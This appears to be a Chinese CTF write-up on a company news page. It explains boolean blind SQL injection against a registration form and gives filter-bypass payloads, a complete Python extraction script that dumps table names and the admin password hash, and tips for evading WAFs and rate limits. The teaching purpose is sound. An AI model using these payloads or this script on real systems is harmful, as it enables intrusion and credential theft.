尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

从手工到自动化:CTF布尔盲注实战与Python脚本编写指南

从手工到自动化:CTF布尔盲注实战与Python脚本编写指南
📅 发布时间:2026/8/4 4:41:46

1. 项目概述:一次从手工到自动化的CTF实战复盘

最近在复盘一些经典的CTF题目,特别是Web安全方向的,发现“网鼎杯2018”的这道Unfinish题目非常有意思。它不仅仅是一个简单的SQL注入点,更像是一个完整的实战场景缩影:你需要先手工探测出漏洞,分析出过滤规则,然后因为交互过程复杂,不得不转向编写自动化脚本去高效利用。这个过程,恰好是很多真实渗透测试或安全研究工作的缩影——从信息收集、漏洞发现、手动验证,到最终编写PoC或利用工具实现稳定攻击。很多新手在打靶场时,往往停留在手工注入成功就满足了,但这道题逼着你往前走一步,去思考如何将手工过程标准化、自动化,这对于提升实战能力至关重要。

这道题的核心场景是一个典型的登录/注册页面,存在SQL注入漏洞。但它的“狡猾”之处在于,对输入进行了严格的过滤,并且返回的信息有限,使得传统的手工联合查询(Union Select)变得困难。解题的关键路径是:首先通过报错信息或布尔盲注的方式确认注入点类型和过滤规则;然后,由于需要逐位爆破数据库名、表名、字段名和数据,手工操作极其繁琐,必须编写Python脚本来自动化完成布尔盲注的过程;最后,通过脚本获取到管理员密码(通常是MD5哈希),解密后登录获取flag。整个流程涵盖了SQL注入的多种技巧(报错注入、布尔盲注)、绕过过滤的方法以及Python网络请求与逻辑处理,是一个综合性很强的学习案例。

2. 漏洞环境与核心思路解析

2.1 题目场景与初步探测

通常,这类题目会提供一个Web界面,包含登录(Login)和注册(Register)两个功能。我们的突破口往往在注册功能上。尝试注册一个用户,比如用户名为test,密码随意。注册成功后,系统可能会提示“用户名已存在”或直接注册成功。这时,一个关键的思路是:在注册时,应用可能会先去数据库查询用户名是否已存在。这个查询语句,就是潜在的注入点。

假设后端的SQL查询语句是这样的:

SELECT * FROM users WHERE username = ‘$username‘

当我们注册时,传入的$username变量如果没有被妥善处理,就可能被我们控制。经典的测试payload是输入一个单引号‘。如果页面返回了数据库报错信息(如You have an error in your SQL syntax),那么基本可以确定存在SQL注入漏洞。这就是基于报错的SQL注入的初步探测。

在Unfinish这道题中,经过测试,你会发现输入单引号会导致报错,但输入and 1=1或or 1=1这类常见的布尔测试语句时,页面却无变化,甚至可能返回统一的错误页面。这说明题目对输入进行了过滤,很可能过滤(或转义)了and、or、空格、union、select等关键词。这时,我们的思路就需要从显错的联合查询,转向基于布尔逻辑的真假判断,也就是布尔盲注。

2.2 布尔盲注原理与过滤绕过

布尔盲注(Boolean-based Blind SQL Injection)适用于页面没有明确数据回显,但会根据SQL查询语句执行的真假返回不同页面(比如注册成功或用户名已存在)的场景。其核心原理是:通过构造SQL语句,使其变成一个条件判断。如果条件为真,页面返回状态A;如果条件为假,页面返回状态B。通过观察页面差异,我们就能推断出数据库中的信息。

例如,我们可以构造这样的Payload来测试数据库名的第一个字符:

‘ or (ascii(substr(database(),1,1))>100) #

这个语句的意思是:如果当前数据库名的第一个字符的ASCII码大于100,那么整个or条件为真,原查询语句可能因为or真而返回结果,导致页面呈现“用户名已存在”的状态;反之,则可能注册成功(或返回其他状态)。通过不断调整比较的数值(比如用二分法:>128? >64? ...),我们就能确定这个字符的准确ASCII码,从而得知字符本身。

但是,题目有过滤。常见的绕过技巧包括:

  1. 大小写绕过:SeLeCt代替select。
  2. 双写绕过:selselectect,如果过滤函数是简单替换为空,则中间的select被移除后,剩下的字符又组成了select。
  3. 等价替换:用like代替=,用mid()或substring()代替substr()。
  4. 编码绕过:使用URL编码、十六进制编码等。
  5. 注释符:使用#、--(注意有个空格)来注释掉后续的SQL代码,避免语法错误。
  6. 空格绕过:使用/**/、+、%0a(换行符)、%0d(回车符)或%09(制表符)代替空格。在MySQL中,括号()有时也能起到分隔作用。

在实战解这道题时,需要耐心地使用这些技巧进行fuzz(模糊测试),找出未被过滤的字符组合。例如,可能发现/**/可以代替空格,||在特定数据库(如SQLite)中可以代替or,或者^(异或)运算可以用来构造布尔条件。

注意:不同的数据库(MySQL、SQLite、PostgreSQL)的语法和函数略有不同。通过报错信息或一些特性测试(如version()、sqlite_version()),可以判断数据库类型,这对后续构造Payload至关重要。网鼎杯这道题通常基于MySQL或SQLite。

3. 手工验证与自动化脚本设计

3.1 手工验证注入点与确定过滤规则

在编写自动化脚本之前,必须用手工方式彻底摸清漏洞的“脾气”。这个过程是后续自动化的基础。

首先,使用Burp Suite的Repeater模块或浏览器插件(如HackBar)会非常方便。在注册用户名处,尝试以下Payload序列:

  1. 基础探测:

    • admin‘-> 观察是否报错。
    • admin‘ and ‘1‘=‘1-> 观察与admin‘ and ‘1‘=‘2的页面响应是否有差异。如果没差异,可能and被过滤。
    • admin‘ or ‘1‘=‘1-> 观察与admin‘ or ‘1‘=‘2的差异。如果没差异,可能or被过滤。
  2. 绕过空格:

    • 尝试admin‘/**/or/**/‘1‘=‘1。如果页面出现差异,说明/**/可用作空格。
  3. 测试布尔条件:

    • 假设/**/可用,构造:test‘/**/or/**/(1=1)/**/#。如果返回“用户名已存在”,而test‘/**/or/**/(1=2)/**/#返回注册成功,那么布尔盲注的条件就成立了。这里的#用于注释掉后续SQL(如密码字段),避免语法错误。
  4. 测试信息获取函数:

    • 确认布尔逻辑可行后,测试数据库函数是否被过滤。尝试:test‘/**/or/**/(ascii(substr(database(),1,1))>0)/**/#。观察页面是否符合“字符ASCII码>0为真”的预期。

通过一系列这样的测试,你可以最终确定一个可用的Payload模板。例如,最终发现的有效Payload结构可能是:

[待测用户名]‘/**/or/**/([布尔条件])/**/#

其中,[布尔条件]就是我们要用来逐位爆破信息的核心。

3.2 自动化脚本的核心架构设计

手工一位一位去猜字符是不现实的。自动化脚本的核心任务就是:根据我们确定的Payload模板,系统地、快速地遍历所有可能性,通过HTTP请求的响应内容来判断布尔条件的真假,从而拼接出我们想要的数据(库名、表名、字段值等)。

一个健壮的自动化脚本通常包含以下模块:

  1. 请求引擎:负责发送HTTP请求(通常是POST请求到注册接口),并获取响应。推荐使用requests库,它比urllib更简洁高效。需要处理好Cookies和Session,因为有些题目需要维持会话状态。

  2. 响应分析器:这是脚本的“眼睛”。它需要能够从服务器的响应HTML中,准确判断当前请求对应的布尔条件是“真”还是“假”。判断依据必须非常明确和稳定。例如:

    • 真(True):响应中包含“username already exists”或“用户已存在”。
    • 假(False):响应中包含“registration successful”或跳转到登录页面。
    • 绝对要避免使用模糊匹配(如“exists”这个词可能在错误信息里也出现)。最好能定位到页面中独一无二的标志性字符串或标签。有时需要查看页面源码,而不仅仅是渲染后的文本。
  3. Payload生成器:根据要爆破的目标(如database(),select table_name from information_schema.tables),以及当前爆破的位置(第几位字符),动态生成SQL注入Payload。这里要复用我们手工验证成功的那个模板结构。

  4. 字符爆破逻辑:这是脚本的“大脑”。通常采用二分查找算法来高效确定一个字符的ASCII码值。对于一个字节(ASCII 0-127,或扩展ASCII 0-255),二分法最多只需要7-8次请求就能确定,远比遍历256次快得多。

    • 算法流程:设置低位low=0,高位high=127(或255)。当low <= high时,计算中间值mid = (low+high)//2。构造Payload:ascii(substr((目标查询语句),当前位置,1)) > mid。
    • 发送请求,分析响应。
    • 如果条件为真(字符ASCII码 > mid),则low = mid + 1。
    • 如果条件为假(字符ASCII码 <= mid),则high = mid - 1。
    • 循环结束后,low的值就是字符的ASCII码。将其转换为字符chr(low),追加到结果中。
  5. 流程控制器:控制整个爆破流程,例如:先爆破当前数据库名,然后爆破所有表名,再选择目标表(如admin、users)爆破其字段名,最后爆破字段里的数据(如password)。每一步的结果都作为下一步查询的输入。

4. 完整Python自动化脚本实现与详解

下面,我将结合题目常见的环境(假设为MySQL,过滤了空格和or,但/**/和||可用),给出一个详细的脚本实现,并逐段解释。这个脚本可以直接作为解题的蓝本,你只需要根据实际题目的响应特征微调check_result函数即可。

import requests import time class BooleanBasedSQLi: def __init__(self, target_url): self.url = target_url # 注册接口的URL self.session = requests.Session() # 使用Session保持连接 # 根据实际题目修改:真的标志和假的标志 self.true_indicator = "username already exists" # 布尔为真时页面包含的文本 self.false_indicator = "registration successful" # 布尔为假时页面包含的文本 # 请求头,有些题目可能需要特定的Content-Type self.headers = { ‘Content-Type‘: ‘application/x-www-form-urlencoded‘, ‘User-Agent‘: ‘Mozilla/5.0 (CTF Script)‘ } def check_result(self, response_text): """ 核心:分析响应,判断布尔条件真假。 这是最需要根据题目实际情况调整的函数。 """ # 情况1:真条件返回‘用户名已存在‘,假条件返回‘注册成功‘ if self.true_indicator in response_text: return True elif self.false_indicator in response_text: return False else: # 如果响应不符合预期,抛出异常,避免错误判断 raise Exception(f"无法判断响应结果。响应片段:{response_text[:200]}") def inject_payload(self, sql_payload): """ 发送一次注入请求,并返回布尔判断结果。 """ # 构造POST数据。假设用户名字段叫‘username‘,密码字段随便填。 # 将我们的Payload放在用户名里。 data = { ‘username‘: sql_payload, ‘password‘: ‘randompass123‘ # 密码可以是任意值 } try: # 发送POST请求 resp = self.session.post(self.url, data=data, headers=self.headers, timeout=5) # 调用判断函数 return self.check_result(resp.text) except requests.exceptions.RequestException as e: print(f"请求失败: {e}") return False def get_char_at_position(self, query, position): """ 使用二分法获取查询结果中指定位置的字符。 :param query: 要执行的SQL查询语句,例如:database() :param position: 字符位置,从1开始 :return: 该位置的字符 """ low, high = 32, 126 # 可打印字符的ASCII范围(空格到波浪线) # 有时需要包含更广的范围,如128-255,视情况调整 result = None while low <= high: mid = (low + high) // 2 # 构造布尔盲注Payload # 注意:这里使用了/**/代替空格,||代替or。这是根据题目过滤规则调整的。 # 模板:‘ or (条件) # # 绕过后: ‘/**/||/**/(条件)/**/# test_payload = f"test‘/**/||/**/(ascii(substr(({query}),{position},1))>{mid})/**/#" # print(f"测试: {test_payload}") # 调试时可打开 if self.inject_payload(test_payload): # 条件为真,说明字符ASCII码 > mid low = mid + 1 else: # 条件为假,说明字符ASCII码 <= mid high = mid - 1 # 循环结束,low即为字符的ASCII码 if low >= 32 and low <= 126: return chr(low) else: return ‘?‘ # 超出可打印范围 def get_string(self, query): """ 获取整个查询结果的字符串,通过逐位爆破直到遇到非可打印字符或长度超限。 """ result = "" for i in range(1, 100): # 假设结果不会超过100个字符 char = self.get_char_at_position(query, i) if char == ‘?‘ or not char.isprintable(): # 遇到不可打印字符或结束标志,停止 break result += char print(f"当前结果: {result}") # 可以加一个延迟,避免请求过快被屏蔽 # time.sleep(0.05) return result # ========== 主程序:解题步骤 ========== if __name__ == ‘__main__‘: # 替换成题目的实际注册接口URL target_url = "http://靶机地址/register.php" sqli = BooleanBasedSQLi(target_url) print("[*] 开始爆破当前数据库名...") db_name = sqli.get_string("database()") print(f"[+] 当前数据库名: {db_name}") # 假设数据库名为 ‘web‘,接下来爆破表名 # MySQL information_schema.tables 存储表信息 print("[*] 开始爆破表名...") # 这里查询第一个表名。要获取所有,需要循环或修改查询。 table_query = "select table_name from information_schema.tables where table_schema=database() limit 0,1" table_name = sqli.get_string(table_query) print(f"[+] 第一个表名: {table_name}") # 假设我们关心的表叫 ‘users‘,接下来爆破字段名 print("[*] 开始爆破users表的字段名...") column_query = "select column_name from information_schema.columns where table_name=‘users‘ and table_schema=database() limit 0,1" column_name = sqli.get_string(column_query) print(f"[+] 第一个字段名: {column_name}") # 假设字段有 ‘username‘, ‘password‘, 爆破密码 print("[*] 开始爆破admin用户的密码...") password_query = "select password from users where username=‘admin‘" admin_password_hash = sqli.get_string(password_query) print(f"[+] admin密码哈希: {admin_password_hash}") print("[*] 爆破完成。请使用CMD5等网站解密哈希。")

4.1 脚本关键点解析与避坑指南

  1. check_result函数是灵魂:这个函数必须100%准确。在实战中,不要只看页面显示的文本,最好用print(resp.text)把整个响应HTML打印出来,仔细寻找那个唯一、稳定的真/假标志。可能是某个特定的<div>标签的id、class,或者是一句完整的提示语。如果判断逻辑写错了,整个爆破结果都是错的。

  2. Payload构造的细节:

    • test‘:这里的test是一个无关的用户名,目的是让原查询SELECT * FROM users WHERE username = ‘test‘先执行。然后我们通过||(或)连接我们的布尔条件。因为||的优先级,整个语句变成:WHERE username=‘test‘ OR (条件)。只要我们的条件为真,整个WHERE子句就为真,查询就会返回结果(即使test用户不存在),导致“用户名已存在”。
    • /**/:这是MySQL中内联注释的语法,但它里面的内容会被忽略,因此常被用作空格替代符。比用+或%20更稳定。
    • #:注释掉SQL语句的剩余部分,非常重要!否则后面的‘password‘=‘xxx‘会破坏语法。
  3. 二分法的边界:low=32, high=126是针对可打印字符。如果数据中包含中文或特殊符号,需要扩大范围(如high=255)。但要注意,扩大范围会增加请求次数。可以先用小范围试,如果返回?,再调整。

  4. 速率限制与错误处理:脚本中我注释了time.sleep。在实际攻击中,不加延迟可能会触发目标的WAF或速率限制,导致IP被封。建议加上一个合理的延迟(如0.1-0.5秒)。同时,try-except块保证了网络波动时脚本不会直接崩溃。

  5. 获取多条数据:上面的例子只取了limit 0,1(第一条)。要获取所有表名,你需要写一个循环,修改limit 1,1、limit 2,1... 或者更高效地,在查询语句中使用group_concat(table_name)一次性获取所有表名并用分隔符连接,但要注意长度限制和过滤。

5. 实战进阶:处理复杂过滤与优化脚本

5.1 应对更严格的过滤

如果题目过滤了substr、ascii、>这些关键词怎么办?这就需要我们寻找替代方案。

  • substr被过滤:可以使用mid()或substring()函数。例如:mid(database(),1,1)。
  • ascii被过滤:可以使用ord()函数,功能相同。
  • >被过滤:可以使用<和逻辑非!来组合实现。a > b等价于!(a <= b)。但这样会使Payload变复杂。更巧妙的是使用位运算或正则表达式。
    • 使用like和通配符:‘ or substr(database(),1,1) like ‘a‘ #。这需要遍历所有字符,效率低,但能绕过对比较符的过滤。
    • 使用regexp或rlike:‘ or substr(database(),1,1) regexp ‘^[a-z]‘ #。可以配合二进制搜索来缩小范围。
  • or和and都被过滤:可以尝试||和&&。如果也被过滤,可以使用异或注入(^)。原理是:‘ ^ (条件) ^ ‘1‘=‘1。当条件为真(1)时,整个表达式的结果取决于其他部分,可能造成不同的页面响应。这需要更精细的测试。

5.2 脚本优化与功能扩展

  1. 多线程爆破:当需要爆破的数据量很大时(比如一个长字符串),逐位爆破是串行的,很慢。可以对每一位字符的二分查找过程进行多线程处理,大幅提升速度。但要注意目标服务器的承受能力和可能存在的请求顺序依赖。

  2. 结果缓存与断点续传:将已爆破出的结果(如已知的数据库名、表名)保存到本地文件。如果脚本中途中断,可以从断点处继续,避免重复劳动。

  3. 更智能的响应分析:除了字符串匹配,还可以结合响应状态码、响应头长度、响应时间(时间盲注)等进行综合判断。有时,真假的区别可能只是响应体长度相差几个字节。

  4. 封装为通用工具:将核心的布尔盲注引擎抽象出来,通过配置文件或命令行参数指定目标URL、请求方法、参数、真/假标志、Payload模板等,使其能快速适配不同的CTF题目或真实世界的简单测试场景。

6. 常见问题排查与解决实录

在编写和运行这类自动化脚本时,你肯定会遇到各种问题。下面是我踩过的一些坑和解决方案:

  1. 问题:脚本一直返回同一个结果(全是真或全是假)。

    • 排查:首先检查check_result函数。打印出几次典型请求(你认为应该是真和假的)的响应内容,仔细对比差异。很可能你选取的标志字符串不唯一。其次,检查Payload是否被正确构造。打印出实际发送的test_payload,看看是否包含了奇怪的换行或编码问题。最后,用Burp Suite拦截脚本发送的请求,手动重放一下,看看响应是否和脚本接收到的一致。
  2. 问题:爆破出的字符乱码或明显不对。

    • 排查:二分法的边界(low, high)可能设错了。如果数据中包含数字,其ASCII码在48-57;大写字母65-90;小写字母97-122。如果爆破出奇怪符号,检查是否因为条件判断反了(真/假逻辑弄反)。最直接的验证方法:手动构造一个已知条件的Payload(比如ascii(substr(‘abc‘,1,1))>90,应为假),用脚本跑一下,看check_result是否正确。
  3. 问题:请求被目标服务器屏蔽或返回429 Too Many Requests。

    • 解决:立即在请求中加入延迟time.sleep()。可以设置为随机延迟,如time.sleep(random.uniform(0.5, 1.5)),这样更模拟人工操作。此外,检查请求头,添加Referer、X-Forwarded-For等可能有助于绕过简单的防护。如果条件允许,使用代理池。
  4. 问题:Session失效,需要重新登录或验证码。

    • 解决:有些题目在注册前可能需要先访问一个首页获取初始Cookie或CSRF Token。你需要用脚本先进行一次GET请求,从响应中解析出Token,并加入到后续POST请求的数据或头中。对于验证码,如果很简单(如4位数字),可以考虑OCR识别;如果复杂,这道题可能就不是单纯考察自动化注入了。
  5. 问题:information_schema数据库被过滤或无法访问。

    • 解决:这在一些CTF题或老旧系统中会出现。MySQL 5.7+有sys库,但更通用的方法是暴力猜解。通过布尔盲注,猜测常见的表名(如admin,user,users,t_admin,t_user)和字段名(username,password,passwd,pwd)。可以准备一个字典,用脚本遍历猜测。Payload如:‘ or exists(select 1 from 猜的表名) #。

这道“Unfinish”题目,就像它的名字一样,手工注入只是开始,真正的完成在于将思考过程转化为自动化工具。这个过程锻炼的不仅仅是SQL注入的技巧,更是将复杂、重复的手工测试流程抽象成代码逻辑的能力。在真实的安全工作中,这种能力至关重要。下次遇到类似的盲注场景,不妨先静下心来,用手工摸清规则,然后打开你的代码编辑器,开始构建属于你自己的“自动化武器库”。

相关新闻

  • 5.24华为OD机试真题 新系统 - 最小请求间隔限流策略 (JavaPyCC++JsGo)
  • Unity C#源码深度解析:从API调用到引擎原理的进阶指南
  • 物流供应链数字化转型:挑战与四维重构策略

最新新闻

  • 乐山小语种机构培训哪家好?2026年本地市场深度分析与选择建议 - 优质品牌商家
  • 2026 年 7 月新发布:武侯正规的下水道疏通服务团队怎么联系,你家堵了3次的管道,原来这玩意儿疏通才是对的! - 企业官方推荐【认证】
  • GEO优化|视觉信息在GEO中的编码、提取与引用增益
  • 湛江中巴车培训驾校厂家推荐:2026年大车驾校选择指南与推荐理由 - 优质品牌商家
  • Oracle dblink实战指南:跨库数据桥梁的原理、创建与优化
  • 基于腾讯云轻量服务器与RAG技术构建低成本私有知识库AI助手

日新闻

  • 5分钟快速搭建智能数字人:Live2D虚拟形象终极部署指南
  • 告别繁简字幕转换烦恼:这款开源工具让你一键搞定影视字幕处理 [特殊字符]
  • GPT-5.4传闻背后:大模型永久记忆与极限推理的技术演进与挑战

周新闻

  • 怀化母婴除甲醛公司测甲醛中心怎么选:康之居母婴除甲醛标准、流程、避坑指南 - 信誉隆金银铂奢回收
  • 三步打造你的终极音乐中心:foobox-cn网络电台功能完整指南
  • Lance湖仓格式:为多模态AI工作流设计的终极数据存储方案

月新闻

  • ClickHouse版本管理深度实战:4步构建零风险升级与回滚体系
  • Java 23 种设计模式:从踩坑到精通 | 番外:责任链模式 —— 物流审批流程实战
  • 华硕笔记本性能解放指南:G-Helper轻量级控制工具全面解析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号